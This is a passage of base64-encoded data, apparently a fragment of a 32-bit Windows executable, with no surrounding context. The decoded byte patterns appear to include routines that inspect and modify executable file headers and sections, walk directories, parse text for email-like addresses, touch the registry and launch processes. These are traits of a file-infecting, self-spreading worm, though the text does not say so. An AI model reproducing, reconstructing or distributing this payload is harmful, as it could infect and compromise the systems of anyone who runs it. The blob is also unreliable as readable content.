wF9ew2oBWOv4U4pcJAhWV4TbfD8PvvNW6EhLAACFwFl1NVboa0sAAIXAWXUqv5jwQAAz9lfo VkAAAIXAWX4UOp6Y8EAAdBBXRuhCQAAAO/BZfOwzwOsDagFYX15bw1aLdCQIigZQ/xVo0EAA hcB0C4B+AYB2BWoBWF7DM8Bew4tEJASKADyhdAc8o3QDM8DDagFYw1WL7IHs/AcAAItFHFNW V4t9DDP2iXX8gCcAOXUQiTB/CYtFCEDp3AEAAItdCIoDUOhA////hcBZdVCJXQyDfSAAdCv/ dQzof////4XAWXQN/3UM6JP///+FwFl0Lf91DOiG////hcBZdARG/0UMi0UQRv9FDEg78H0Q i0UMigBQ6PD+//+FwFl0s4tFEEg78IlFDA+NagEAAIoEHlDo0/7//4XAWQ+EvgAAAIoEHlDo i/7//4XAWXULRjt1DHzs6T8BAACKBB5Q6Kj+//+FwFl0G4tN/IoEHv9F/EY7dQyIBDl9CYtF GEg5Rfx814tFGEg5Rfx8HIN9/AB0FotF/IoEOFDoN/7//4XAWXUF/038deqLRfyFwHwEgCQ4 ADPbOB90FYoEO1DoE/7//4XAWXQHQ4A8OwB1640EO1CNhQT4//9Q6MQ9AACNhQT4//9QV+i3 PQAAi0X8g8QQK8M7RRQPjYQAAACLXQiDfSAAD4SKAAAAi0UIgCcAA8Yz21DoR/7//4XAWXRZ i0UQg8D+iUUgi0UIA8aJRRD/dRDoSv7//4XAWXUZi0UQigiIDDuKSAFDRkCIDDtDRkCJRRDr BkZGg0UQAjt1IH0Xi0UYg8D+O9h9Df91EOju/f//hcBZdbiAJDsAO10UfBCLRRzHAAEAAACL RQgDxusMi10Ii0UcgyAAjQQeX15bycNVi+y4HBAAAOgERQAAU1ZXjU3k6OTc//+LfQyNRfhq AVD/dQgz241N5Igf6M/c//+L8DvzD4QrAQAAi1X4g/oKD4IXAQAAiJ3k7///iV38/3UYjU38 Uf91FP91EFJXUOiR/f//i034g8Qci9Er0APWg/oFD47iAAAAOV38dNGJXQgz//91GI1V/CvI UgPO/3UU/3UQUY2N5O///1FQ6FP9//+DxBw5Xfx0A/9FCItN+IvRK9AD1oP6BXYJR4H/ECcA AHy/OV0IdBFT6JgMAAAz0ln394tN+IlVCIv+iV30/3UYjUX8K89QA87/dRSNheTv////dRBR UFfo9/z//4PEHDld/Iv4dBk5XQh0Lv9NCI2F5O///1D/dQzo4jsAAFlZi034i8ErxwPGg/gF dgz/RfSBffQQJwAAfKSNTeTodtz///91DOimPAAAWTPJO0UQD53Bi8FfXlvJw4gfjU3k6FTc //8zwOvtVYvsi1UMUzPbVoXSdAIgGotFEIXAdAOAIACLdQiAPkB0HFeL+ovGK/6KCITJdA6F 0nQDiAwHQ0CAOEB17F+F0nQEgCQTAIA8MwCNBDNeW3UEM8Bdw4N9EAB0C1D/dRDoNDsAAFlZ agFYXcNVi+xRU4pdCFZXvqTwQACNffxmpYD7IKR+NID7fn0vD77zVujKRgAAhcBZdShW6O1G AACFwFl1HYD7QHQYgPsudBM6XAX8dA1Ag/gCfPQzwF9eW8nDagFY6/b/dCQE6J3///9Zw1WL 7LgAIAAA6MtCAAD/dQiNhQDg//9Q6Kw6AAD/dQyNhQDw//9Q6J06AACNhQDg//9Q6O2MAACN hQDw//9Q6OGMAACNhQDw//9QjYUA4P//UOjCRgAAg8QgycNWvlICQQBW/3QkDOhdOgAA/3Qk FFbogff//1D/dCQc6Fk6AACDxBhew1OLXCQIVldT6Cc7AACL+FmD/wR8JIP/DH8fM/aF/34U D74EHlDoDUYAAIXAWXQKRjv3fOxqAVjrAjPAX15bw1WL7IHsBAEAAFNWV42F/P7//zP/UFdX V/91COhQOwAAvvwBQQBXVug39///i9iDxBw7334gV1bo9/b//1CNhfz+//9Q6IyLAACDxBCF wHQnRzv7fOCNhfz+//9owg1BAFDob4sAAPfYG8BZg+BjWYPAnF9eW8nDi8fr91WL7FYz9ldW aiBqAlZqA2gAAADA/3UI/xX80EAAi/iJdQiD//90Izl1DHQejUUIVlD/dRD/dQxX/xVs0EAA V/8VJNFAAGoBWOsCM8BfXl3DVYvsU1dqAGonagNqAGoDaAAAAID/dQj/FfzQQACDZQgAi/iD y/87+3QdjUUIUFf/FezQQACDfQgAi9h0A4PL/1f/FSTRQACLw19bXcNVi+yD7BSNTezo2tj/ /41F/GoBUI1N7P91COjM2P//hcB0DY1N7Oh62f//agFYycMzwMnDVYvsgewYAQAAVmoEagWN RexqAlDof/j//4PEEI2F6P7//1BoBAEAAP8VmNBAAIt1CI1F7FZqAFCNhej+//9Q/xV00EAA VugjAAAAVuhYOQAAWVlIeAaAPDAudfcDxmjcAUEAUOhQOAAAWVleycNqIP90JAj/FYDQQAD/ dCQE/xWc0EAAw1WL7IHsSAMAAFZX/3UIjYX4/f//M/ZQ6Bg4AACNhfj9//9Q6Pw4AACDxAyF wHQXgLwF9/3//1yNhAX3/f//dQaAIABqAV6Nhfj9//9osPBAAFDo7TcAAFmNhbj8//9ZUI2F +P3//1D/FYzQQACL+IP//w+E1AAAAP91CI2F/P7//1DorTcAAFmF9ll1E42F/P7//2hE8EAA UOimNwAAWVmNheT8//9QjYX8/v//UOiRNwAA9oW4/P//EFlZdFuNheT8//9orPBAAFDodTYA AFmFwFl0Wo2F5Pz//2io8EAAUOheNgAAWYXAWXRD/3UQjYX8/v//agFQ/1UMg8QMhcB0Lf91 EI2F/P7///91DFDo7P7//4PEDOsW/3UQjYX8/v//agBQ/1UMg8QMhcB0Fo2FuPz//1BX/xWI 0EAAhcAPhTP///9X/xWE0EAAXzPAXsnDVYvsUYF9DABQAQBTVld8Kmog/3UI/xWA0EAAM9tT aiBqA1NqA2gAAADA/3UI/xX80EAAi/iD//91BzPA6YQAAACNRfxQV/8V7NBAAIvwO3UMfhVT U/91DFf/FeTQQABX/xWQ0EAA61NqAlNTV/8V5NBAAItFDCvGvgAACACJRQiLzpn3+TvDix1s 0EAAfheJRQyNRfxqAFBWaNAxQQBX/9P/TQx17I1F/GoAUItFCJn3/lJo0DFBAFf/01f/FSTR QABqAVhfXlvJw1ZqAGonagNqAGoDaAAAAID/dCQg/xX80EAAi/CD/v91BDPAXsOLRCQMV41I EFGNSAhRUFb/FejQQABWi/j/FSTRQACLx19ew1ZqAGonagNqAGoDaAAAAMD/dCQg/xX80EAA i/CD/v91BDPAXsOLRCQMV41IEFGNSAhRUFb/FTDRQABWi/j/FSTRQACLx19ew1WL7IPsFFON TezodNX//41F/GoBUI1N7P91COhm1f//i9iF23Rwg30QAHQmgX38AJABAHYdagDosgUAAFkz 0moKWffxg8JUweIKO1X8cwOJVfyLRfxWA8BQ6Gk9AACL8FmF9nQmi0X8A8BQagBW6LU0AABq SP91/FZT6LnN//+LTQyDxByFyXQCiQGNTezordX//4vGXlvJw1WL7IHsBAEAAFNWV4t9CDPb ahRTV4id/P7//+hvNAAAg8QMOB3sN0kAdD5T6CQFAABZM9JqA1n38YXSdCxqAWoKjYX8/v// UVBo7DdJAOib9///g8QUhcB0D42F/P7//1BX6Ig0AABZWTgfD4WLAAAAOB3oNkkAdDZT6NYE AABZM9JqA1n38YXSdCSNhfz+//9TUFNTaOg2SQDouzUAAI2F/P7//1BX6EM0AACDxBw4H3VJ U+icBAAAqA9ZdSu+dA1BAFNW6IPx//9TiUUI6IIEAAAz0vd1CFJW6D7x//9QV+gJNAAAg8Qc OB91D2oEagZqAlfo1fP//4PEEDldDHQrvvwBQQBTVuhA8f//U4lFCOg/BAAAM9L3dQhSVuj7 8P//UFfo1jMAAIPEHDldEHQN/3UQV+jFMwAAWVnrMDldFHQrvtwBQQBTVuj+8P//U4lFCOj9 AwAAM9L3dQhSVui58P//UFfolDMAAIPEHF9eW8nDVYvsg+wUU4tFGFZX/3UUM9uDz/+JXfxT iX34/3UQiV3wiV30iRjo8TIAAIt1CIoGUOgZ+P//g8QQhcAPhIwAAACKBlDoBvj//4XAWXRc i0UMi95IiUUIi0UQK8aJRezrA4tF7IoLiAwYigM8QHUJi03w/0X0iU34PC51B4X/fQOLffD/ RfxDi0X8/0XwO0UIfRaLRRRIOUXwfQ2KA1DorPf//4XAWXW5M9uLRfCLTRArffiAJAgAg/8D fhFqAVg5Rfh+CTlF9A+EoAAAAINN+P+DTfD/iV38ZoseM/9TIX306MP3//+FwFkPhIoAAABT 6LT3//+FwFl0VItFDEghfQyJRQiLRRCA+0CIHAd1Bv9F9Il9+ID7LnUJg33wAH0DiX3wg0UM BINF/AKLRQxHO0UIfRqLRRRIO/h9EotF/GaLHDBT6GD3//+FwFl1totFEIAkBwCLRfArRfiD +AJ+EmoBWDlF+H4KOUX0dQWLTRiJAYtF/APG6wONRgFfXlvJw1WL7IHsGAQAAFMz21aNTeiJ Xfzo3tH//41F+GoBUI1N6P91COjQ0f//i/A783UEM8DrY1eL/otF+IvPK86NUP87yn1HjU38 K8dRjY3o+///aAAEAACNRDD/UVBX6B7+//+DxBSDffwAi/h0yv91FI2F6Pv///91EFD/dQzo Hu7//4PEEIXAfq5D66uNTejoINL//4vDX15bycNVi+xRUYtFGINN+P9QagD/dRSJRfzo5zAA AIPEDI1FGFD/dQz/dQj/FUzQQACFwHQFagFYycONRfxQjUX4/3UUUGoA/3UQ/3UY/xUU0EAA /3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FRjQQACFwHQFagFYXcP/dRTo0TEAAFlQ/3UU agFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB7AwBAACNRfxWUDP2/3UM/3UI/xVM 0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVQ0EAAhcB1LzlFEHQjIUX4/3UUjUX4UI2F 9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe/3X8/xVc0EAAi8ZeycNVi+yB7BQI AABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVM0EAAhcB0BDPA63ONRfiJdfBQjYXs9/// UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VRNBAAIXAdTWDfewBdSg5RRB0IyFF9P91FI1F 9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/DrA2oBXv91/P8VXNBAAIvGXlvJw4N8 JAQAdQmDPcwxQQAAdRf/FTTRQABQ6GM3AABZ6Gc3AACjzDFBAOldNwAAVYvsg+xUVjP2akSN RaxWUOj5LgAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW/3UM/3UI/xWk0EAA99gbwF4jRfDJ w1WL7IPsHFNWjU3k6BbP//+DZfgAvsDwQABW6PwvAABZiUX0jUX8agFQjU3k/3UI6PXO//+L 2IXbdFOLTfxXgfkAoAAAcju4ABAAAIHBGPz//zvIi/h2Kv919I0EH1BW6Jc7AACDxAyFwHQP i0X8RwUY/P//O/hy3+sHx0X4AQAAAI1N5Ohaz///i0X4X15bycNVi+yB7AAEAABojQdBAP91 EOi88///WYXAWXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COj8/P//jYUA/P//UOgm ////g8QYhcB0P4tNGGoBWP91DIkBi00UaOA0SQCJAegwLgAAjYUA/P//UGjkNUkA6B8uAAD/ dRBo3DNJAOgSLgAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOjuLQAAjYUA/P// aETwQABQ6O0tAAD/dRCNhQD8//9Q6N4tAACNhQD8//9ojQdBAFDo9fL//4PEIIXAdHmNhQD4 //+ApQD4//8AaAAEAABQjYUA/P//aJMHQQBQ/3UI6C78//+NhQD4//9Q6Fj+//+DxBiFwHQ/ i00YagFY/3UMiQGLTRRo4DRJAIkB6GItAACNhQD4//9QaOQ1SQDoUS0AAP91EGjcM0kA6EQt AACDxBgzwMnDagFYycNVi+yB7BwFAACDZfwAgz3wOEkAAHUlagRoUgJBAOhE6v//jU38UWhK SUAAUGgCAACA6EP8//+DxBjrPI2F6Pv//2oCUOiC8v//jYXo+///UGjgNEkA6N4sAACNRfxQ jYXo+///aLZIQABQaAIAAIDog/z//4PEIItF/IXAo/Q4SQAPhdEAAABWjYXk+v//aAQBAABQ /xWo0EAAM/aAZegAjUXoaI0HQQBQ6IosAABZjUXoWWoEagRqAlDoaS0AAFmNRAXoUOhN7P// jUXpUOjBfgAAjYXk+v//UI2F6Pv//1DoUiwAAI2F6Pv//2hE8EAAUOhRLAAAjUXoUI2F6Pv/ /1DoQSwAAI2F6Pv//2jcAUEAUOgwLAAAjYXo+///UOgn8///g8Q4hcB0CkaD/goPjGf///+N RehQaNwzSQDoBSwAAI2F6Pv//1Bo5DVJAOjkKwAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaL SAJmg/kBfQ5mg0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kB fQaDwQxmiQhmiwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1 UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk IFBX6Dvg//+DxBQ4HdQySQB0J1Vo0DFJAGoCVuixzv//WVlQjUQkIFBX6BTg//+DxBQ4HdAx SQB1F/9EJBCDfCQQCX6EiB3UMkkAiB3QMUkAX15dW4HEBAIAAMNVi+y4IDAAAOhLGQAAU1ZX aAAAEADobRkAADPbWTvDiUXsdQlfXjPAW8nCBADo8O3//4XAdQ1oYOoAAP8VLNFAAOvqaADQ BwD/NdgzSQDo0/X//1lZagHoovr//+jp/v//jYWI8///aAQBAABQU/8VFNFAAI2F3P7//1Do 